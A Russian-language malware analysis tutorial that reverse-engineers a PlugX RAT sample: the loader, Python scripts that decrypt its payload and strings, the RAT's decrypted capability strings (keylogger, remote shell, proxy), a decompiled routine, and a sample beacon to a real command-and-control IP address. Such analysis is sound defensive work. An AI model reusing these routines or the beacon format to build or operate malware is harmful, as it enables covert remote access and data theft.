Исследование PlugX RAT
Сегодня мы с вами разберем исполняемый файл семейства PlugX. Данный образец использовался APT TA428, Space Pirates. Изучим работу загрузчика, алгоритм расшифрования строк и основной нагрузки модуля. Потренируемся реверсить настоящие вирусы.
Больше информации об информационной безопасности, реверсу малвари и расследованию инцидентов в канале https://t.me/threathunt_pedia.
Используемые утилиты:
- Blobrunner - инструмент для отладки шелл-кода.
- SpeakEasy - эмулятор, предназначенный для эмуляции вредоносных программ ядра и пользовательского режима Windows.
- Ghidra - это платформа обратного проектирования программного обеспечения (SRE)/
- IDA Pro - инструмент для анализа двоичного кода.
- x64Debug - бинарный отладчик с открытым исходным кодом для Windows
- Die.
- PeStudio - утилита поиска артефактов в исполняемом файле.
- ResourceHacker - редактор ресурсов исполняемого файла Windows.
Информация об исполняемом файле
Первоначально получим инфорамацию об исполняемом файле, для этого загрузим в утилиту Die.
Файл собран для 32-ух разрядных систем и разработан на языке программирования C/C++.
Просмотрим также информацию о заголовке исполняемого файла, для этого воспользуемся утилитой PeStudio.
Файл содердит ресурс с имеменм BIN, энтропия 7.949, что свидетельствует о зашифрованных данных.
Выгрузим данный ресурс с помощью утилиты ResourceHacker. Далее начнем изучать исполняемый файл.
Исследование
Проведем статический анализ вредоноса для этого загрузим файл в IDA Pro, найдем функцию main
и декомпилируем с помощью HexRays.
Основной функционал расположен в функции sub_401380
. В качестве параметра передается дескриптор исполняемого файла. Рассмотрим данную функцию.
С помощью функции CreateFileA
проверяется доступность файла calc.exe
. Далее выполняется функция sub_4011B0
, в качестве входных данных передается имя BIN ресурса.
В данной функции считываются содежимое ресурса (LoadResource) и расчитывается его размер (SizeofResource). Далее получения адреса WinAPI функций VirtualAlloc и memcpy. На участке кода 0x4012a3
просиходит расшифрование полезной нагрузки из ресурса BIN.
Для того чтобы разобать алгоритм расшифрования ресурса BIN проведем динамический анализ.
При динамичском анализе помним, что адрес функций при новом запуске постоянно меняется, но смещение это последние 4 цифры имени функции сохраняются.
Загрузим в x32dbg наш файл с помощью ctrl+G
указываем адрес перехода ..11B0
, поставим точку останова. Нажмем F9
и переходим к участку кода по адресу 0x..12a3
.
С каждым байтом проводится операция ~
(отрицание), xor (исключающее или) с байтом 0xef и xor со статически заданным ключом.
Для просмотра ключа необходимо перейти к дампу памяти по адресу ds:[edx+449000]
для этого нажмем правой кнопкой мыши->Перейти к дампу. Длина ключа 255 байт.
Скопируем ключ и напишем алгоритм расшифрования файла ресурса BIN на Python3.
f = open('BIN109.bin','rb') w = open('BIN_Decrypt','wb') KEY = [ 0xA3,0x34,0xAF,0x34,0x3F,0x35,0x7D,0x35,0x85,0x35,0x8C,0x35,0xA6,0x35, 0xAE,0x35,0xB4,0x35,0x2B,0x36,0x37,0x36,0x4B,0x36,0x57,0x36,0x5F,0x36, 0x6B,0x36,0x73,0x36,0x7F,0x36,0x87,0x36,0x93,0x36,0x9B,0x36,0xA7,0x36, 0x7E,0x37,0x93,0x37,0x9B,0x37,0xAA,0x37,0xBF,0x37,0xC7,0x37,0xD6,0x37, 0xDE,0x37,0xE9,0x37,0xFA,0x37,0xA,0x39,0x16,0x39,0x36,0x39,0x42,0x39, 0x5D,0x39,0x64,0x39,0x75,0x39,0x84,0x39,0x99,0x39,0xA0,0x39,0xBA,0x39, 0xC4,0x39,0x63,0x3B,0x71,0x3B,0xC2,0x3B,0xC9,0x3B,0xD6,0x3B,0xDE,0x3B, 0xE5,0x3B,0x1C,0x3C,0x29,0x3C,0xC2,0x3C,0xCE,0x3C,0xD8,0x3C,0xE4,0x3C, 0xEC,0x3C,0xF8,0x3C,0,0x3D,0xC,0x3D,0x14,0x3D,0x20,0x3D,0x34,0x3D,0x40, 0x3D,0xC5,0x3E,0x16,0x3F,0x49,0x3F,0x4F,0x3F,0x84,0x3F,0xCC,0x3F,0xD0, 0x3F,0xED,0x3F,0xFB,0x3F,0,0,0,0x40,0,0,0x70,0,0,0,0x27,0x30,0x44,0x30, 0x4D,0x30,0xA4,0x30,0xB4,0x30,0xBA,0x30,0x20,0x31,0xB0,0x31,0xCD,0x31, 0xD8,0x31,0x1A,0x32,0x2B,0x32,0xBA,0x32,0xC8,0x32,0x3C,0x33,0x40,0x33, 0x4B,0x33,0x66,0x33,0x6B,0x33,0x85,0x33,0x8B,0x33,0x91,0x33,0x97,0x33, 0x9D,0x33,0xA3,0x33,0xA9,0x33,0xAF,0x33,0xB5,0x33,0xBB,0x33,0xC1,0x33, 0xC7,0x33,0xCE,0x33,0xD6,0x33,0xDE,0x33,0xE6,0x33,0xF2,0x33,0xFB,0x33, 0,0x34,0x6,0x34,0x10,0x34,0x19,0x34,0x24,0x34,0x32,0x34,0x37,0x34,0x3D, 0x34,0x48,0x34,0x4F,0x34,0x58,0x34,0x5C,0x34,0x67,0x34 ] result = bytearray() b = f.read() for i in range(0,len(b)): result.append((((~b[i]) ^ 0xef) & 0xff) ^ KEY[i % 256]) w.write(result) f.close() w.close()
MD5 расшифрованного ресурса BIN: 0226a4f0be90c8588774c805626359db.
После расшифрования шелл-кода с помощью функции VirtualAlloc выделяется участок памяти и далее с помощью memcpy копируется в него расшифрованные данные. Начало расшифрованных данных представляют собой шелл-код, с которого начинается дальнейшее выполнение.
Перейдем во внуть функции call eax
(горячая клавиша F7) и разберем алгоритм работы шелл-кода.
Следующий участок кода сильно обфусцирован по алгоритму CFF (Control Flow Flattening). В коде присутствует большое количесвто условных операций, что свидетельствует об операнде switch C++. Но на данном участке начинается процесс расшифровки основной полезной нагрузки PlugX.
С помощью трассировки в x32dbg (Ctrl + F7) собрал алгоритм расшифрования основной полезной нагрузки. В расшифрованном файле BIN нагрузка расположена по смещению 0x7AD. С каждым байтом нагрузки осуществляются следующие операции:
(edi + 0x46) & 0xff) ^ 0xf7) - 0xa8) & 0xff
Длина полезной нагрузки PlugX равна 0x13c33. Как видно из рисунка выше регистр EAX уменьшается на 1 и цикл расшифровки байта повторяется.
В шестнадцетиричном редактторе HxD можно скопировать зашифрованный блок. Смещение от начала 0x7AD, длина 0x1c3cc.
Начало расшифрованного кода E8 00 00 00 00 58
.
После расшифрования выполнение передается на расшифрованный участок, который представляет собой новый шелл-код. Далее перейдем к участку расшифрованного шелл-кода, с которого начинается выполнени. Для этого в x32dbg нажмем горячую клавишу Ctrl+G
и введем адрес, оканчивающийся на ...7ad (первые байты всегда будут разные).
Перейдем в функцию call ...07EB
. В данной функции модуль получает адреса WinAPI функций VirtualAlloc, VirtualFree, RtlDecompressBuffer, memcpy с помощью GetProcAddress.
Спускаемся ниже и видим выполнение функции RtlDecompressBuffer.
В параметре CompressedBuffer находится адрес сжатых данных, которые мы получили после расшифрования начиная со смещения 0x7AD длиной 0x1c3cc. Сжатые данные расположены по смещению 0x523.
Перейдем к адресу UncompressBuffer после выполнения функции RtlDecompressBuffer и увидим расшифрованные данные, которые представляют собой основной модуль PlugX.
Процесс получения основной полезной нагрузки следующий: расшифрование ресурса BIN, выполнение шелл-кода из ресурса BIN, расшифрование следующего этапа шелл-кода по смещению 0x7AD файла ресурса, выполнение второго этапа шелл-кода, декомпреcсия основной полезной нагрузки.
После извлечения основной полезной нагрузки второй этап шелл-кода проверяет сигнатуру расшифрованной нагрузки PlugX, где MZ и PE заменены на XV.
Основная нагрузка представляет собой динамическую библиотеку. Для проведения статического анализа основной полезной нагрузки PlugX yнеобходимо заменить XV на MZ и PE и загрузить в IDA Pro.
После исполнения загрузчика выполнение передается в основную нагрузку, где в переменной lpReserved содержится структура, в которой хранится адрес конфигурации. Первые 4 байта конфигурации содержат размер (0x5ba) (см. Рисунок ниже).
Все строки основной нагрузки зашифрованы. Функция расшифрования строк находится по адресу ....15D7
.
На вход функции расшифрования подается строка и ее длина, причем первые 4 байта представляют собой константу для инициализации переменных key1 и key2. Разработаем Python3 скрипт для IDA Pro
iimport struct import idaapi lobyte = lambda v3: v3 & 0xFF hibyte = lambda v3: (v3 & 0xFF00) >> 8 lobyte2 = lambda v3: (v3 & 0xff0000) >> 16 hibyte2 = lambda v3: (v3 & 0xff000000) >> 24 def decrypt(b): const_ = struct.unpack('<I',b[:4])[0] k1 = const_ ^ 0x13352af k2 = const_ ^ 0xa7 result = [] for i in b[4:]: k1 = (k1 + 0x6FD) & 0xffffffff k2 = (k2 - 0x305B) & 0xffffffff a = ((((((((((lobyte(k1) - hibyte(k1)) & 0xff) ^ lobyte2(k1)) - hibyte2(k1) & 0xff) ^ lobyte(k2)) - hibyte(k2)) & 0xff) ^ lobyte2(k2)) - hibyte2(k2)) & 0xff) ^ i result.append(a) return "".join([chr(i) for i in result]) def main(start,size): b = bytearray() w = open('C:\\Users\\User\Downloads\\result.txt','bw+') for i in range(size): x = idaapi.get_byte(start + i) b.append(x) d = decrypt(b) print(d)
Загрузим данный скрипт в IDA Pro (File->Script File). При расшифровании определнной строки в командной строке Python IDA Pro вводим адрес и размер строки, к примеру, main(0x1002411c,7).
Все расшифрованные строки модуля представлены ниже.
SeDebugPrivilege SeTcbPrivilege Global\ Global\ \\.\PIPE\ http https socks ftp %APPDATA%\Mozilla\Firefox profiles.in Path Profile0 prefs.js user_pref("network.proxy.http" user_pref("network.proxy.http_port" user_pref("network.proxy.ftp" user_pref("network.proxy.ftp_port" user_pref("network.proxy.ssl" user_pref("network.proxy.ssl_port" user_pref("network.proxy.socks" user_pref("network.proxy.socks_port" user_pref("network.proxy.socks_version" %WINDIR%\SYSTEM32\SERVICES.EXE GlobalMemoryStatusEx GetNativeSystemInfo \\.\PIPE\ PlugInfo DISK DISK KeyLogger Nethood Netstat Option PortMap Process Regedit Screen Service Shell SQL Telnet static %4.4d-%2.2d-%2.2d %2.2d:%2.2d:%2.2d NUM%d F%d Back Tab Cls Enter Pause Esc PageUp PageDn End /] Left Up Rigth Down Select Print Exec PrtSc Ins Del Hlp LWin RWin Apps Sleep Numlock Scroll [Ctl+Alt+%s] [Ctl+%s] [Alt+%s] [%s] System Idle Process System System System System SeShutdownPrivilege SeShutdownPrivilege SeShutdownPrivilege NT AUTHORITY SYSTEM NT AUTHORITY SYSTEM NT AUTHORITY SYSTEM System Idle Process System System CompanyName FileD CíÖ,z FileVersion ProductName ProductVersion \SystemRoot\ \??\ CompanyName FileDescription FileVersion ProductName ProductVersion DISPLAY DISPLAY DISPLAY DISPLAY %4.4d%2.2d%2.2d%2.2d% ÿ'½ê¬ÒN DISPLAY WINSTA0 image/jpeg DISPLAY *.* .jpg *.* .jpg % Comp FileDescription FileVersion ProductName ProductVersion SYSTEM\CurrentControlSet\Services\ SYSTEM\CurrentControlSet\Services\ \Parameters Se IfN ServiceDll CMD /Q CONIN$ CONIN$ CONOUT$ wininet.dll HttpSendRequestA HttpSendRequestW HttpSendRequestExA HttpSendRequestExW L Ú´ \Documents and Settings\All Users\DRM \Documents and Settings\All Users\DRM \Documents and Settings\All Users\Application Data \ProgramData \ProgramData \ProgramData \ProgramData IsWow64Process kernel32 ~MHZ HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0 QueryFullProcessImageNameW kernel32 \SystemRoot\ \??\ \VarFileInfo\Translation \StringFileInf @kVI2Ý8 NTDLL.DLL WTSGetActiveConsoleSes 0 Ùëú WTSQueryUserToken %windir%\explorer.exe %AUTO%\X X X X %windir%\system32 %sªBb %windir%\system32\msiexec.exe 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 TEST X X XXXXXXXX HTTP:// DnsFr Proxy-Auth: Proxy-Authorization: Basic GET POST CONNECT HTTP:// Proxy-Auth: Proxy-Authorization: Basic CONNECT %s:%d HTTP/1.1 Content Content-Type: text/html Proxy-Authorization: Basic Proxy-Connection: Keep-Alive HTTP/1.0 200 HTTP/1.1 200 http socks %s=%s:%d */* /%p%p%p GET G7: Mozilla/4.0 (compatible; MSIE IE SOFTWARE\Microsoft\Internet Explorer\Version Vector ; Windows NT %d.%d SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User Agent\Post Platform SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User Agent\Post Platform SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent\Post Platform SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent\Post Platform
Конфигурация основного модуля PlugX расшифровывается по алгоритму расшифрования строк (DecryptString_15d7), описанному выше и с полученным данными выполняется декомпресия (RtlDecompressBuffer). В конфигурации по умолчанию указан управляющий сервер 45.76.211.18
.
Также в модуле присутствует возможность загрузки конфигурации модуля из файла, расположенного в домашнем каталоге вредоноса.
После расшифрования конфигурации начинается процесс выполнения. Запущенному процессу добавляются привиллегии SeTcbPrivilege (действует как часть операционной системы), SeDebugPrivilege (позволяет получить доступ к любому процессу или потоку). Далее создается новый поток, в котором выполняются дальнейшие действия.
В модуле присутствует функция генерации строк.
int __usercall GenerateString@<eax>(unsigned int a1@<eax>, int a2, int a3) { UINT (__stdcall *GetSystemDirectoryW)(LPWSTR, UINT); // eax HMODULE v5; // eax BOOL (__stdcall *ProcAddress)(LPCWSTR, LPWSTR, DWORD, LPDWORD, LPDWORD, LPDWORD, LPWSTR, DWORD); // eax HMODULE v7; // eax DWORD v8; // eax int v9; // ecx int v10; // edi int v11; // eax __int16 v13[3]; // [esp+10h] [ebp-250h] BYREF __int16 v14; // [esp+16h] [ebp-24Ah] __int16 name[34]; // [esp+210h] [ebp-50h] BYREF int v16; // [esp+254h] [ebp-Ch] BYREF int v17; // [esp+258h] [ebp-8h] BYREF unsigned int v18; // [esp+25Ch] [ebp-4h] BYREF GetSystemDirectoryW = (UINT (__stdcall *)(LPWSTR, UINT))dword_1002C87C; if ( !dword_1002C87C ) { v5 = (HMODULE)sub_100016FC(); GetSystemDirectoryW = (UINT (__stdcall *)(LPWSTR, UINT))GetProcAddress(v5, "GetSystemDirectoryW"); dword_1002C87C = (int)GetSystemDirectoryW; } GetSystemDirectoryW((LPWSTR)v13, 512); v14 = 0; ProcAddress = (BOOL (__stdcall *)(LPCWSTR, LPWSTR, DWORD, LPDWORD, LPDWORD, LPDWORD, LPWSTR, DWORD))dword_1002C5F4; if ( !dword_1002C5F4 ) { v7 = (HMODULE)sub_100016FC(); ProcAddress = (BOOL (__stdcall *)(LPCWSTR, LPWSTR, DWORD, LPDWORD, LPDWORD, LPDWORD, LPWSTR, DWORD))GetProcAddress(v7, "GetVolumeInformationW"); dword_1002C5F4 = (int)ProcAddress; } if ( ProcAddress((LPCWSTR)v13, (LPWSTR)v13, 512, &v18, (LPDWORD)&v17, (LPDWORD)&v16, (LPWSTR)v13, 512) ) v8 = 0; else v8 = sub_1000157A(); if ( v8 ) v18 = a1; else v18 ^= a1; v9 = (v18 & 0xF) + 3; LOWORD(v10) = 0; HIWORD(v10) = 0; if ( v9 > 0 ) { do { v11 = v18 << 7; name[v10++] = v18 % 0x1A + 97; v18 = 8 * (v11 - (v18 >> 3) + 20140121) - ((v11 - (v18 >> 3) + 20140121) >> 7) - 20140121; } while ( v10 < v9 ); } name[v9] = 0; string_wcopy(a2, a3); string_wconcat(a2, (int)name); return 0; }
Она предназначена для создания обновленного файла конфигурации, а также при создании мьютекса Global\\%p%p%p
.
В модуле присутствует код закрепления в системе с помощью создания службы, имя службы указано в конфигурации модуля. Но в текущей конфгурации модуля парметров закрепления не обнаружено.
Для установления связи с управляющим сервером используются WinAPI функции HttpOpenRequestA, HttpAddRequestHeadersA,HttpSendrequestHeadersA, InternetReadFile. В заголовок добавляется значение G7:<Base64(DecryptString(data))>
зашифрованных по алгоритму шифрования строк и закодированных в Base64. Трафик в теле ответа шифруется по тому же алгоритму, что и строки. Содердимое запроса на управляющий сервер представлена ниже.
GET /D203C2D94728FF89BC4E3C39 HTTP/1.1 Accept: */* G7: Lx/fXCz8J4qfquNfy6wK4pcupeE= User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.2; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 45.76.211.18:443 Connection: Keep-Alive Cache-Control: no-cache
Заключение
Мы с вами разобрали модуль семейства PlugX, расшифровали основную нагрузку, в которой заменена сигнатура MZ и PE на XV. Разобрали алгоритм расшифрования строк, а также конфигурацию модуля.